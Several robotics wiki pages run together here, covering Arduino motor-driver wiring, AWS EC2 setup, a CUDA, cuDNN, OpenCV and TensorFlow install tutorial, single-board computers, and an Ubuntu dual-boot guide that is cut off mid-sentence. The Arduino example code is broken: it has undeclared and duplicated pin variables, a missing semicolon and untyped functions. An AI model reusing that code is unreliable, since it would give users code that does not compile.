Motor Driver available in Mechatronics Lab: - -![Motor Driver Wiring](/assets/images/computing/Arduino-de522.png) - -With this example, the yellow lines connected to pins 10 and 11 (which are PWM) are the enables for the motors. When the enable is HIGH, the motor is turned on. For PWM lines, you use ``analogWrite(pin#, pwmValue);``, where ``pwmValue`` is an integer between 0-255, with 0 being off, and 255 being always HIGH, with inbetween values able to control speed if your motor is capable of that. - -The blue and green lines can be connected to any digital pin, but in this example I kept them grouped. These are the direction pins for the motors. If both are LOW or both are HIGH, the motor will not move. But if direction pin 1 is HIGH and direction pin 2 is LOW, then the motor will move. When direction pin 1 is LOW and direction pin 2 is HIGH, the motor will move in the other direction. - -> WARNING: This will send current through the positive node in one orientation, but when the direction is reversed the current will go through the negative node of the motor, make sure you check wiring accordingly - -Another thing with this motor driver is that you can either turn off the motor, or you can stall it. Stalling the motor holds the motor taught and doesn't let it move while just turning it off will give play to the motor which is usually undesirable. To stall the motor, set the enable HIGH, and the two direction pins to either LOW or HIGH. To just turn it off, just set the enable to LOW. - -Example code: -``` -//declare pins -en1 = 11; -dir11 = 12; -dir21 = 13; -en2 = 10; -dir21 = 8 -dir22 = 9; - -//setup all pins as outputs -setup(){ - pinMode(en1, OUTPUT); - pinMode(dir11, OUTPUT); - pinMode(dir12, OUTPUT); - pinMode(en2, OUTPUT); - pinMode(dir21, OUTPUT); - pinMode(dir22, OUTPUT); -} - -loop(){ - //spin motors one way at half speed - analogWrite(en1, 128); - digitalWrite(dir11, HIGH); - digitalWrite(dir12, LOW); - analogWrite(en2, 128); - digitalWrite(dir21, HIGH); - digitalWrite(dir22, LOW); - delay(1000); - //stall motors - digitalWrite(en1, HIGH); - digitalWrite(dir11, HIGH); - digitalWrite(dir12, HIGH); - digitalWrite(en2, HIGH); - digitalWrite(dir21, LOW); - digitalWrite(dir22, LOW); - delay(1000); - //turn motors the other way at 3/4 speed - analogWrite(en1, 192); - digitalWrite(dir11, LOW); - digitalWrite(dir12, HIGH); - analogWrite(en2, 192); - digitalWrite(dir21, LOW); - digitalWrite(dir22, HIGH); - delay(1000); - //turn motors off - digitalWrite(en1, LOW); - digitalWrite(en2, LOW); - delay(1000); -} -``` - - -/wiki/computing/aws-quickstart/ ---- -date: 2020-05-11 -title: Amazon Web Services Quickstart ---- - -This article will cover the basics of remote login on an Ubuntu machine. More specifically this will help you set up your AWS machine and serve as a tutorial to launch, access and manage your AWS Instance. -## Launching an EC2 Instance -First, we will have to sign up on AWS. -After logging into your account you will have to Choose a region. -The instances you make are linked to specific regions. After you have selected your region, click on Services in the top left. Then select EC2 under Compute. - -1. Launch an EC2 instance (Click on Launch Instance on the Dashboard) -2. Select your required AMI. This will create a virtual machine for you with some pre-installed packages/applications. We will use the Deep Learning Base AMI for our tutorial. - An Amazon Machine Image (AMI) provides the information required to launch an instance. You must specify an AMI when you launch an instance. You can launch multiple instances from a single AMI when you need multiple instances with the same configuration. You can use different AMIs to launch instances when you need instances with different configurations. -source AWS Website -3. Select the version that matches your operating system (Ubuntu 16.04 / Ubuntu 18.04) -4. Select the instance type. If you created a new account on AWS, you will be eligible for free usage of machines in the free tier range. T2.micro which falls under this category can be used to get familiar with AWS. To know more about the free-tier visit -5. After selecting your instance, click configure Instance and dd torage. -6. Depending on your requirement, select the amount of storage required. The first 30GB of storage is free under the one year eligibility. -7. Continue pressing next until you see ‘Security Groups’. - Here you will define the open ports for your machine. By default, port 22 will be open for you to ssh into your machine. However, you will have to define certain rules if you want to host different applications. -8. Continue pressing ext until you see the review page. -9. Launch Instance and select keypair. If you have previously generated a keypair, you can use the same file to access different machines. -10. To check your instances, click on Instances in the left sidebar. - - -**Now, to login to your instance -** -1. Go to your terminal and login to your instance with the following command:\ - `ssh -i keyPair.pem -L 8000:localhost:8888 ubuntu@instance` -2. You may need to set permissions for your key file. This can be done using chmod 400 keyPair.pem - -Instead of having to write this huge command in your terminal, you can edit your ssh config file and use an alias to log in to your remote machine. For mac users the config file can be found in **/Users/user_name/.ssh/config** - -The file should include\ -*Host alias*\ -*HostName remote_machine_ip*\ -*IdentityFile path_to_keyfile/keyPair.pem*\ -*User ubuntu* - -## Using TMUX / SCREEN -While using ssh for remote access, your connections may be terminated if there is no activity for a long period of time. While training large models, this may be a problem. As your connection is piped through ssh, once the machine is left idle, the connection breaks causing all running applications / processes to terminate. To avoid this we can use Tmux or Screen. - -TMUX​ is a ​terminal multiplexer​ for ​Unix-like​ ​operating systems​. It allows multiple ​terminal sessions to be accessed simultaneously in a single window. It is useful for running more than one ​command-line​ program at the same time. It can also be used to detach ​processes from their controlling terminals, allowing ​SSH​ sessions to remain active without being visible. -*- Wikipedia* - -Here are a few important references in this regard -1. [TMUX Quickstart](https://www.hamvocke.com/blog/a-quick-and-easy-guide-to-tmux/) -2. [TMUX-Cheatsheet](https://tmuxcheatsheet.com/) - -## Stopping Instances -To stop working with your instance for the night (or an extended period of time), -1. Go to your running instances -2. Select your active instance -3. Select Actions --> Instance State --> Stop - -When your instance is not active, you will only be charged for storage (which is fairly cheap, but could add up.) To start the instance back up, follow the same steps but select start. -I you are done with an instance, follow the same steps, but terminate instead of stopping the instance. - - -## Spot Instances - -A Spot Instance is an unused EC2 instance that is available for less than the On-Demand price. Because Spot Instances enable you to request unused EC2 instances at steep discounts, you can lower your Amazon EC2 costs significantly. The hourly price for a Spot Instance is called a Spot price. The Spot price of each instance type in each Availability Zone is set by Amazon EC2, and adjusted gradually based on the long-term supply of and demand for Spot Instances. Your Spot Instance runs whenever capacity is available and the maximum price per hour for your request exceeds the Spot price. - -Spot Instances are a cost-effective choice if you can be flexible about when your applications run and if your applications can be interrupted. For example, Spot Instances are well-suited for data analysis, batch jobs, background processing, and optional tasks. For more information, see Amazon EC2 Spot Instances - AWS Official - -Check how to use spot instances over here: -[Using Spot Instances](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/using-spot-instances.html#spot-get-started) - -## A word on Visual Studio Code: -VsCode comes with a plugin for remotely logging into your machine. This way you can develop and edit your code using VS Code- -The Visual Studio Code Remote - SSH extension allows you to open a remote folder on any remote machine, virtual machine, or container with a running SSH server and take full advantage of VS Code's feature set. Once connected to a server, you can interact with files and folders anywhere on the remote filesystem. -No source code needs to be on your local machine to gain these benefits since the extension runs commands and other extensions directly on the remote machine. - -The following link provides details on the same.\ -[Visual Studio - Remote SSH](https://code.visualstudio.com/blogs/2019/07/25/remote-ssh) - - -/wiki/computing/setup-gpus-for-computer-vision/ ---- -date: 2020-02-03 -title: Setup your GPU Enabled System for Computer Vision and Deep Learning ---- - -This tutorial will help you setup your Ubuntu (16/17/18) system with a NVIDIA GPU including installing the Drivers, CUDA, cuDNN, and TensorRT libraries. Tutorial also covers on how to build OpenCV from source and installing Deep Learning Frameworks such as TensorFlow (Source Build), PyTorch, Darknet for YOLO, Theano, and Keras. The setup has been tested on Ubuntu x86 platform and should also hold good for other Debian based (x86/ARM64) platforms. - -## Contents -1. [Install Prerequisites](https://roboticsknowledgebase.com/wiki/computing/setup-gpus-for-computer-vision/#1-install-prerequisites) -2. [Setup NVIDIA Driver for your GPU](https://roboticsknowledgebase.com/wiki/computing/setup-gpus-for-computer-vision/#2-install-nvidia-driver-for-your-gpu) -3. [Install CUDA](https://roboticsknowledgebase.com/wiki/computing/setup-gpus-for-computer-vision/#3-install-cuda) -4. [Install cuDNN](https://roboticsknowledgebase.com/wiki/computing/setup-gpus-for-computer-vision/#4-install-cudnn) -5. [Install TensorRT](https://roboticsknowledgebase.com/wiki/computing/setup-gpus-for-computer-vision/#5-install-tensorrt) -6. [Python and Other Dependencies](https://roboticsknowledgebase.com/wiki/computing/setup-gpus-for-computer-vision/#6-python-and-other-dependencies) -7. [OpenCV and Contrib Modules](https://roboticsknowledgebase.com/wiki/computing/setup-gpus-for-computer-vision/#7-install-opencv-and-contrib-modules) -8. [Deep Learning Frameworks](https://roboticsknowledgebase.com/wiki/computing/setup-gpus-for-computer-vision/#8-install-deep-learning-frameworks) - - [PyTorch](https://roboticsknowledgebase.com/wiki/computing/setup-gpus-for-computer-vision/#pytorch) - - [TensorFlow](https://roboticsknowledgebase.com/wiki/computing/setup-gpus-for-computer-vision/#tensorflow) - - [Keras](https://roboticsknowledgebase.com/wiki/computing/setup-gpus-for-computer-vision/#keras) - - [Theano](https://roboticsknowledgebase.com/wiki/computing/setup-gpus-for-computer-vision/#theano) - - [Darknet for YOLO](https://roboticsknowledgebase.com/wiki/computing/setup-gpus-for-computer-vision/#darknet-for-yolo) - -## 1. Install Prerequisites -Before installing anything, let us first update the information about the packages stored on the computer and upgrade the already installed packages to their latest versions. - - sudo apt-get update - sudo apt-get upgrade - -Next, we will install some basic packages which we might need during the installation process as well in future. - - sudo apt-get install -y build-essential cmake gfortran git pkg-config - -**NOTE: The following instructions are only for Ubuntu 17 and 18. Skip to the next section if you have Ubuntu 16.04** - -The defualt *gcc* vesrion on Ubuntu 17 and 18.04 is *gcc-7*. However, when we build OpenCV from source with CUDA support, it requires *gcc-5*. - - sudo apt-get install gcc-5 g++-5 - -Verify the *gcc* version: - - gcc --version - -You may stil see version 7 detected. We have to set higher priority for *gcc-5* as follows (assuming your *gcc* installation is located at */usr/bin/gcc-5*, and *gcc-7*'s priority is less than 60. - - update-alternatives --install /usr/bin/gcc gcc /usr/bin/gcc-5 60 - update-alternatives --install /usr/bin/g++ g++ /usr/bin/g++-5 60 - -Now, to fix the CXX and CC environment variable system-wide, you need to put the lines in your .bashrc file: - - echo 'export CXX=/usr/bin/g++-5.4' >> ~/.bashrc - echo 'export CC=/usr/bin/gcc-5.4' >> ~/.bashrc - source ~/.bashrc - - -## 2. Install NVIDIA Driver for your GPU -Before installing the NVIDIA driver, make sure **Secure Boot** is **Disabled** in BIOS and **Legacy Boot** is selected and **UEFI Boot** is disabled. - -**NOTE (FOR UEFI BOOT ONLY)**: If you still intend to install the driver along with UEFI boot enabled, follow the steps below to enroll the MOK keys and only then proceed with the next driver installation section. If these steps are not followed, it is likely that you might face the login loop issue. - -``` -sudo openssl req -new -x509 -newkey rsa:2048 -keyout UEFI.key -outform DER -out UEFI.der -nodes -days 36500 -subj "/CN=rambou_nvidia/" -sudo mokutil --import UEFI.der -``` - -At this step after reboot you will be prompted to select your certificate to import in in key database. If you have inserted a password at certificate creation you'll be prompted to insert it. If you are not prompted, you may have to enter the BIOS by using function keys at boot time. - -### Driver Installation -The NVIDIA drivers will be automatically detected by Ubuntu in *Software and Updates* under *Additional drivers*. Select the driver for your GPU and click apply changes and reboot your system. *You may also select and apply Intel Microcode drivers in this window.* If they are not displayed, run the following commands from your terminal and refresh the window. - -``` -sudo add-apt-repository -y ppa:graphics-drivers -sudo apt-get update -``` - -*At the time of writing this document, the latest stable driver version is 418*. - -Run the following command to check whether the driver has installed successfully by running NVIDIA’s System Management Interface (*nvidia-smi*). It is a tool used for monitoring the state of the GPU. - - nvidia-smi - -In case the above mentioned steps fail or you run into any other issues and have access only to a shell, run the following set of commands to reinstall the driver. - -``` -sudo apt-get purge -y nvidia* -sudo add-apt-repository -y ppa:graphics-drivers -sudo apt-get update -sudo apt-get install -y nvidia-418 -``` - -## 3. Install CUDA -CUDA (Compute Unified Device Architecture) is a parallel computing platform and API developed by NVIDIA which utilizes the parallel computing capabilities of the GPUs. In order to use the graphics card, we need to have CUDA libraries installed on our system. - -Download the CUDA driver from the [official nvidia website here](https://developer.nvidia.com/cuda-downloads?target_os=Linux). We recommend you download the *deb (local)* version from installer type as shown in the screen-shot below. - -*At the time of writing this document, the latest stable version is CUDA 10.0*. - -![](/assets/images/computing/nvidia-cuda.png) - -After downloading the file, go to the folder where you have downloaded the file and run the following commands from the terminal to install the CUDA drivers. Please make sure that the filename used in the command below is the same as the downloaded file and replace the `` number. - - sudo dpkg -i cuda-repo-ubuntu1604-10-0-local-10.0.130-410.48_1.0-1_amd64.deb - sudo apt-key add /var/cuda-repo-/7fa2af80.pub - sudo apt-get update - sudo apt-get install cuda - -Next, update the paths for CUDA library and executables. - - echo 'export LD_LIBRARY_PATH="$LD_LIBRARY_PATH:/usr/local/cuda-10.0/lib64:/usr/local/cuda-10.0/extras/CUPTI/lib64"' >> ~/.bashrc - echo 'export CUDA_HOME=/usr/local/cuda-10.0' >> ~/.bashrc - echo 'export PATH="/usr/local/cuda-10.0/bin:$PATH"' >> ~/.bashrc - source ~/.bashrc - -You can verify the installation of CUDA version by running: - - nvcc -V - -## 4. Install cuDNN -CUDA Deep Neural Network (cuDNN) is a library used for further optimizing neural network computations. It is written using the CUDA API. - -Go to official cuDNN website [official cuDNN website](https://developer.nvidia.com/cudnn) and fill out the form for downloading the cuDNN library. - -*At the time of writing this document, the latest stable version is cuDNN 7.4*. - -**Make sure you download the correct cuDNN version which matches with you CUDA version.** - -![](/assets/images/computing/nvidia-cudnn.png) - -### Installing from TAR file (Recommended Method) -For cuDNN downloaded using _cuDNN Library for Linux_ method, go to the folder where you have downloaded the “.tgz” file and from the command line execute the following (update the filename). - - tar -xzvf cudnn-10.0-linux-x64-v7.4.2.24.tgz - sudo cp cuda/include/cudnn.h /usr/local/cuda/include - sudo cp cuda/lib64/libcudnn* /usr/local/cuda/lib64 - sudo chmod a+r /usr/local/cuda/include/cudnn.h /usr/local/cuda/lib64/libcudnn* - -### Installing from Debian Package -Install the downloaded packages (Runtime Library, Developer Library and Code Samples) as follows. - - sudo dpkg -i libcudnn7_7.4.2.24-1+cuda10.0_amd64.deb - sudo dpkg -i libcudnn7-dev_7.4.2.24-1+cuda10.0_amd64.deb - sudo dpkg -i libcudnn7-doc_7.4.2.24-1+cuda10.0_amd64.deb - -To check installation of cuDNN, run this in your terminal: - - dpkg -l | grep cudnn - -### Fixing Broken Symbolic Links -If you have issues with broken symbolic links when you run `sudo ldconfig`, follow the steps below to fix them. **Note the minor version number, which may differ on your system (shown for 7.4.2 here)** - - cd /usr/local/cuda/lib64 - sudo rm libcudnn.so - sudo rm libcudnn.so.7 - sudo ln libcudnn.so.7.4.2 libcudnn.so.7 - sudo ln libcudnn.so.7 libcudnn.so - sudo ldconfig - -## 5. Install TensorRT -The core of NVIDIA TensorRT facilitates high performance inference on NVIDIA graphics processing units (GPUs). TensorRT takes a trained network, which consists of a network definition and a set of trained parameters, and produces a highly optimized runtime engine which performs inference for that network. - -*At the time of writing this document, the latest stable version is TensorRT 5.0.4*. - -Download the TensorRT local repo file [from here](https://developer.nvidia.com/tensorrt) and run the following commands. You'll need to replace ubuntu1x04, cudax.x, trt4.x.x.x and yyyymmdd with your specific OS version, CUDA version, TensorRT version and package date (refer the downloaded filename). - - sudo dpkg -i nv-tensorrt-repo-ubuntu1x04-cudax.x-trt5.x.x.x-ga-yyyymmdd_1-1_amd64.deb - sudo apt-key add /var/nv-tensorrt-repo-cudax.x-trt5.x.x.x-ga-yyyymmdd/7fa2af80.pub - sudo apt-get update - sudo apt-get install tensorrt - -For Python and TensorFlow support, run the following commands. - - sudo apt-get install libnvinfer5 python-libnvinfer-dev python3-libnvinfer-dev - sudo apt-get install uff-converter-tf - -To check installation of TensorRT, run this in your terminal: - - dpkg -l | grep TensorRT - -## 6. Python and Other Dependencies - -Install dependencies of deep learning frameworks: - - sudo apt-get install -y libprotobuf-dev libleveldb-dev libsnappy-dev libhdf5-serial-dev protobuf-compiler libopencv-dev - -Next, we install Python 2 and 3 along with other important packages like boost, lmdb, glog, blas etc. - - sudo apt-get install -y --no-install-recommends libboost-all-dev doxygen - sudo apt-get install -y libgflags-dev libgoogle-glog-dev liblmdb-dev libblas-dev - sudo apt-get install -y libatlas-base-dev libopenblas-dev libgphoto2-dev libeigen3-dev libhdf5-dev - - sudo apt-get install -y python-dev python-pip python-nose python-numpy python-scipy python-wheel python-six - sudo apt-get install -y python3-dev python3-pip python3-nose python3-numpy python3-scipy python3-wheel python3-six - -**NOTE: If you want to use Python2, replace the following pip commands with pip2.** - -Before we use pip, make sure you have the latest version of pip. - - sudo pip3 install --upgrade pip - -Now, we can install all the required python packages for deep learning frameworks: - - sudo pip3 install numpy matplotlib ipython protobuf jupyter mock - sudo pip3 install scipy scikit-image scikit-learn - sudo pip3 install keras_applications==1.0.6 --no-deps - sudo pip3 install keras_preprocessing==1.0.5 --no-deps - -Upgrade numpy to the latest version: - - sudo pip3 install --upgrade numpy - -## 7. Install OpenCV and Contrib Modules -First we will install the dependencies: - - sudo apt-get remove -y x264 libx264-dev - sudo apt-get install -y checkinstall yasm - sudo apt-get install -y libjpeg8-dev libjasper-dev libpng12-dev - - sudo apt-get install -y libtiff5-dev - sudo apt-get install -y libavcodec-dev libavformat-dev libswscale-dev libdc1394-22-dev - - sudo apt-get install -y libxine2-dev libv4l-dev - sudo apt-get install -y libgstreamer0.10-dev libgstreamer-plugins-base0.10-dev - sudo apt-get install -y libqt4-dev libgtk2.0-dev libtbb-dev - sudo apt-get install -y libfaac-dev libmp3lame-dev libtheora-dev - sudo apt-get install -y libvorbis-dev libxvidcore-dev - sudo apt-get install -y libopencore-amrnb-dev libopencore-amrwb-dev - sudo apt-get install -y x264 v4l-utils - -#### NOTE: Checkout to the latest version of OpenCV. 3.4.5 is used here - -Download OpenCV 3.4.5: - - git clone https://github.com/opencv/opencv.git - cd opencv - git checkout 3.4.5 - cd .. - -Download OpenCV-contrib 3.4.5: - - git clone https://github.com/opencv/opencv_contrib.git - cd opencv_contrib - git checkout 3.4.5 - cd .. - -#### NOTE: Keep the build folder in the same location as it may be required in future to upgrade or uninstall OpenCV - -Configure and generate the MakeFile in */opencv/build* folder (make sure to specify paths to downloaded OpenCV-contrib modules correctly): - - cd opencv - mkdir build - cd build - - cmake -D CMAKE_BUILD_TYPE=RELEASE \ - -D CMAKE_INSTALL_PREFIX=/usr/local \ - -D INSTALL_C_EXAMPLES=ON \ - -D INSTALL_PYTHON_EXAMPLES=ON \ - -D WITH_TBB=ON \ - -D WITH_V4L=ON \ - -D WITH_QT=ON \ - -D WITH_OPENGL=ON \ - -D WITH_CUDA=ON \ - -D OPENCV_EXTRA_MODULES_PATH=../../opencv_contrib/modules \ - -D BUILD_EXAMPLES=ON .. - -#### NOTE: If you are using Python3, you must add the following flag as well - - -D PYTHON_DEFAULT_EXECUTABLE=/usr/bin/python3 \ - -#### NOTE: If you are using Ubuntu 17 or 18, you must add the following flags as well - - -D CMAKE_CXX_COMPILER:FILEPATH=/usr/bin/g++-5 \ - -D CMAKE_C_COMPILER:FILEPATH=/usr/bin/gcc-5 \ - -Compile and install: - - make -j$(nproc) - sudo make install - sudo ldconfig - -Retain the build folder in the same location. This will be required if you want to uninstall OpenCV or upgrade in the future or else the uninstall process might become very tedious. - -Check installation of OpenCV: - - python - >>> import cv2 - >>> cv2.__version__ - -#### NOTE: If you get any errors with `import cv2`, make sure the `PYTHONPATH` points to the location of `cv2.so` file correctly in your `~/.bashrc` file as follows. - - export PYTHONPATH=/usr/local/lib/python2.7/site-packages:$PYTHONPATH - export PYTHONPATH=/usr/local/lib/python3.5/site-packages:$PYTHONPATH - -To uninstall OpenCV: - - cd /opencv/build - sudo make uninstall - -## 8. Install Deep Learning Frameworks - -### PyTorch - -You can run the commands for installing pip packages `torch` and `torchvision` from [the Quick Start section here](https://pytorch.org/). - -### TensorFlow - -#### Quick Install (Not Recommended) - -A quick way to install TensorFlow using pip without building is as follows. However this is not recommended as we have several specific versions of GPU libraries to improve performance, which may not be available with the pip builds. - - sudo pip3 install tensorflow-gpu - -#### Building TensorFlow from Source - -Now we will download the TensorFlow repository from GitHub in the */home* folder. Checkout to the latest version of TensorFlow (`r1.13` is used here). - - cd ~ - git clone https://github.com/tensorflow/tensorflow.git - cd tensorflow - git checkout r1.13 - -Next we need to install Bazel along with its dependencies - - sudo apt-get install pkg-config zip zlib1g-dev unzip - wget https://github.com/bazelbuild/bazel/releases/download/0.21.0/bazel-0.21.0-installer-linux-x86_64.sh - chmod +x bazel-0.21.0-installer-linux-x86_64.sh - ./bazel-0.21.0-installer-linux-x86_64.sh --user - - export PATH="$PATH:$HOME/bin" - source ~/.bashrc - -To verify installation of Bazel run: - - bazel version - -Now install brew on your system: - - sudo apt-get install linuxbrew-wrapper - brew doctor - brew install coreutils - -The root of the *tensorflow* folder contains a bash script named configure. This script asks you to identify the pathname of all relevant TensorFlow dependencies and specify other build configuration options such as compiler flags. You must run this script prior to creating the pip package and installing TensorFlow. - - cd ~/tensorflow - ./configure - -**NOTE: Enter the your correct CUDA and CuDNN version below. CUDA 10.0 and CuDNN 7.4 is used here** - ->Select Python 3, no to all additional packages, gcc as compiler (GCC 5.4). -> ->For CUDA, enter 10.0 -> ->For cuDNN, enter 7.4 -> -> Select yes for TensorRT support -> ->Enter your GPU Compute Capability (Eg: 3.0 or 6.1). Find yout GPU Compute Capability from [here](https://en.wikipedia.org/wiki/CUDA#GPUs_supported). -> ->Use nvcc as the CUDA compiler. - -Finally, build the pip package: - - bazel build --config=opt --config=cuda --cxxopt="-D_GLIBCXX_USE_CXX11_ABI=0" //tensorflow/tools/pip_package:build_pip_package - -The build might take upto an hour. If it fails to build, you must clean your build using the following command and configure the build once again. - - bazel clean --expunge - ./configure - -The bazel build command builds a script named build_pip_package. Running this script as follows will build a .whl file within the /tmp/tensorflow_pkg directory: - - bazel-bin/tensorflow/tools/pip_package/build_pip_package /tmp/tensorflow_pkg - -Once the build is complete, invoke pip install to install that pip package. The filename of the .whl file depends on your platform. Use tab completion to find your package. If you get an error saying package is not supported for the current platform, run pip explicity (as pip2 for Python 2.7). - - sudo pip3 install /tmp/tensorflow_pkg/tensorflow (*.whl) - -You can make a backup of this built .whl file. - - cp /tmp/tensorflow_pkg/tensorflow (*.whl) - -Verify that TensorFlow is using the GPU for computation by running the following python script. - -**NOTE: Running a script from the */tensorflow* root directory might show some errors. Change to any other directory and run the following python script.** - - import tensorflow as tf - with tf.device('/gpu:0'): - a = tf.constant([1.0, 2.0, 3.0, 4.0, 5.0, 6.0], shape=[2, 3], name='a') - b = tf.constant([1.0, 2.0, 3.0, 4.0, 5.0, 6.0], shape=[3, 2], name='b') - c = tf.matmul(a, b) - - with tf.Session() as sess: - print (sess.run(c)) - -Here, - -- "*/cpu:0*": The CPU of your machine. -- "*/gpu:0*": The GPU of your machine, if you have one. - -If you have a gpu and can use it, you will see the result. Otherwise you will see an error with a long stacktrace. - -### Keras - - sudo pip3 install keras - -### Theano - - sudo pip3 install Theano - -### Darknet for YOLO - -First clone the Darknet git repository. - - git clone https://github.com/pjreddie/darknet.git - -Now, to compile Darknet with CUDA, CuDNN and OpenCV support, open the `Makefile` from the `darknet` folder and make the changes as following in the beginning of this file. Also make sure to select the right architecture based on your GPU's compute capibility. For Pascal architecture you may want to use [this version of Darknet by AlexeyAB](https://github.com/AlexeyAB/darknet) and compile with the `CUDNN_HALF=1` flag for 3x speed improvement. - - GPU=1 - CUDNN=1 - OPENCV=1 - -Once done, just run make from the darknet folder. - - cd darknet - make - -Refer [here](https://pjreddie.com/darknet/yolo/) for more details on running YOLO and training the network. - -## References -The tutorial is actively maintained at [https://github.com/heethesh/Computer-Vision-and-Deep-Learning-Setup/](https://github.com/heethesh/Computer-Vision-and-Deep-Learning-Setup/). - -[Issues Page](https://github.com/heethesh/Computer-Vision-and-Deep-Learning-Setup/issues) | [Contributions Page (Pull Requests)](https://github.com/heethesh/Computer-Vision-and-Deep-Learning-Setup/pulls) - - -/wiki/computing/single-board-computers/ ---- -date: 2017-09-13 -title: Single-Board Computers ---- - -This article is out of date and should not be used in selecting components for your system. You can help us improve it by [editing it](https://github.com/RoboticsKnowledgebase/roboticsknowledgebase.github.io). -{: .notice--warning} - -To eliminate the use of bulky laptops on mobile robots and prevent tethering otherwise, single board computers may seem like a wise option. There are various affordable single board computers available in the market such as: -1. Hardkernel ODroid X2 – ARM 1.7Ghz quad core, 2gb RAM -2. Hardkernel ODroid XU – ARM 1.7Ghz octa core, 4gb RAM -3. FitPC 2 – Intel Atom 1.6Ghz, 2gb RAM - -They are all available under $300 and their specifications and support seem -extremely good for use with Ubuntu and ROS. But, unfortunately, they all fail to -perform as desired. Following are certain problems and challenges that we faced -while trying to get single board computers to run for our project: - -The ODroids have an ARM processor and hence, they do not run Ubuntu 12.04 (A -stable version supporting most packages). There is an ARM version of Ubuntu called -Ubuntu Linaro that needs to be installed on the ODroids. This version of Ubuntu has compatibility issues with ROS. The packages required in ROS had to be built from -source and the binary files for the same had to be generated manually. This was a -very troublesome process, as the installation of every package took about 10 times -longer than what it took on a laptop. Further, ODroid did not support certain -hardware such as Kinect and Hokuyo Laser scanner due to the lack of available -drivers. - -There were also certain network issues due to which the ODroid did not get -connected to the Secured network of CMU though it was possible to get it connected -to the open CMU network as well as any local wireless networks. If you are ever -ordering the ODroid, make sure that you have the time and patience to set it up for -use like your laptop and that you do not require heavy computation or dependence -on any external hardware. Also, ODroid does not ship with a power adapter, WiFi -dongle, HDMI cable or memory card. Hence, these components need to be ordered -separately. - -The FitPC2 runs on an Intel processor and hence, eliminates most of the troubles -that ODroid faces due to the ARM processor. Installation of Ubuntu and ROS is -exactly the same as it is on any other laptop. The installation may take some more -time as the single core processor of FitPC2 is not as good as the quad core -processors provided by Intel in the laptops. -FitPC2 is a great choice if the computation that is required on the robot is not very heavy. For example, we tried -to run Hector SLAM, AMCL, SBPL Lattice planner, Local base planner, Rosserial and -a laser scanner for a task in our project and the latency started getting higher and -the FitPC2 eventually crashed within a couple of minutes of the start of the process. -Another team doing computer vision processing in their project also eliminated -FitPC2 from their project due to its limited computation capabilities. Hence, the -FitPC2 is an option only if the computation required by your robot is not very high. - -Conclusion: -The above single board computers did not perform very well and it may not be a -great option to spend much time on either if your project requirements are similar -to ours. There are other options such as the UDoo that comes with an Arduino board -integrated with the single board computer or the Raspberry Pi or the Beaglebone -and they may be great choices for projects that require light computation. - - -/wiki/computing/troubleshooting-ubuntu-dual-boot/ ---- -date: 2023-05-12 -title: Ubuntu Dual Boot and Troubleshooting Guide ---- -This page serves as a tutorial and troubleshooting guide for dual booting Ubuntu alongside Windows for the uninitiated. This page assumes you have a PC or laptop with Windows 10 or 11 as the sole OS. Several difficulties can be encountered during setup if not aware of the process in advance. Read the following sections as needed and be aware of the potential issues brought up. - -> It is recommended to begin the dual boot process as soon as possible in case things go wrong, or so that difficulties particular to the user’s hardware or desired setup are discovered as soon as possible. - -## Create a bootable USB drive for Ubuntu -First, acquire an empty USB pen drive that is 8 GB or larger and insert it into the computer of choice. Have at least 64 GB of unused hard disk space on the computer (only 25-30 GB is needed for the Ubuntu installation but it is recommended to reserve at least another 35 GB for packages and project files). - -Go to the [Ubuntu Releases page](https://releases.ubuntu.com/) and select an LTS Release. Check with someone currently working with the software tools needed for the current project to know which version to install, as the latest release may not work with all software needed. Download the .iso file for that release. Download and use balenaEtcher from the [Balena webpage](https://www.balena.io/etcher) with that .iso and the inserted USB drive to create a bootable Ubuntu drive. - -## Create partitions safely -Creating the Ubuntu partition on the hard drive for the dual boot can be done while installing Ubuntu from the USB drive but it is better to do it while in Windows Go to the Disk Management page in Windows by right clicking the Start menu. From there, right click on a partition in the middle labeled “NTFS” and click “Shrink Volume”. Do not shrink the EFI System Partition or the Recovery Partition on either end of the large partition. Type in the amount of MB to free up - this should be at least 65536 for anticipated future work. This amount in GB should appear to the right of the Windows partition shrank with the label “Unallocated”. - -### Troubleshooting: Wrong partition shrunk / Wrong amount shrunk -If the wrong volume was shrinked or more space needs to be shrinked, right click on the partition that was just reduced and click Extend Volume. Extend it by the amount reduced to recover the unallocated space. - -### Troubleshooting: Not allowed to shrink partition -If the Disk Management page is saying there are 0 MB available to shrink the volume, then this likely is because there are permanent files at the end of the partition, like the hibernation file and the system volume information folder. Disable Hibernate mode by opening the command prompt by typing “cmd” into the Start search bar, right-clicking to run as administrator, then running the command “powercfg /hibernate off”. Disable the System Restore feature by opening the System Properties window and under the System Protection header find Restore Settings and click the “Disable system protection” button. Finally, click the Advanced tab of System Properties, then click Settings under “Performance”, then click the Advanced tab of the Performance Options window, then under “Virtual memory” click “Change”, then select “No paging file” and “Set”. After these steps, restart the computer and the partition should be able to get shrinked now. - -## Enter BIOS Setup to launch Ubuntu from the inserted USB drive -Restart the computer. While it is booting up, press the button for the computer that opens BIOS Setup. This is either F2, F8, F10, or F12, but check the computer’s manual pages. When the partition options show up, move down to the name of the USB drive inserted and select it. When booting the USB, pick the option that says “Ubuntu (safe graphics)” to prevent display issues caused by the graphics card. - -## Move/combine partitions to make use of inaccessible partitions -Partitions of unallocated data can only be incorporated into another partition using Extend Volume if the unallocated partition is to the right of an existing partition with an OS. If there are multiple partitions of unallocated data or it is in a place where it is not able to get extended, use gparted in Ubuntu. (If it is not installed by default on Ubuntu, then install gparted following [this guide](https://linuxways.net/centos/how-to-install-gparted-on-ubuntu-20-04/)). This can be done before installing Ubuntu by selecting “Try Ubuntu” when loading Ubuntu from the bootable USB drive. Open a terminal by pressing at the same time Ctrl+Alt+T and run the command “gparted”. Once the window opens, select the partition of unallocated space and click the “Resize/Move” option to move the partition to where it can be used by Extend Volume on the partition, or click a partition used for an OS and move the sides of the partition to occupy the desired amount of unallocated memory. After each desired operation, click the Resize/Move button to queue the operation. - -### Troubleshooting: gparted does not allow actions -If gparted is not allowing a certain action or is preventing it from ocurring, undo all previous steps and make sure each step is done individually by clicking Resive/Move after the step to prevent operations from conflicting. - -## Ubuntu Installation -When installing Ubuntu, follow the prompts after clicking “Install Ubuntu”. Pay closer attention to the following steps: - -1. Updates and other software - - Choose “Normal Installation” and check the boxes that say “Download updates” and “Install third-party software”. -2. Installation Type - - Choose “Something Else” and select the newly created partition with the intended space for Ubuntu for installation. - -## Safely add additional memory -If additional RAM memory sticks or an SSD are needed to improve the computer’s performance, be sure to make sure the specs are correct so resources are not wasted. -- For RAM, check that the size of the 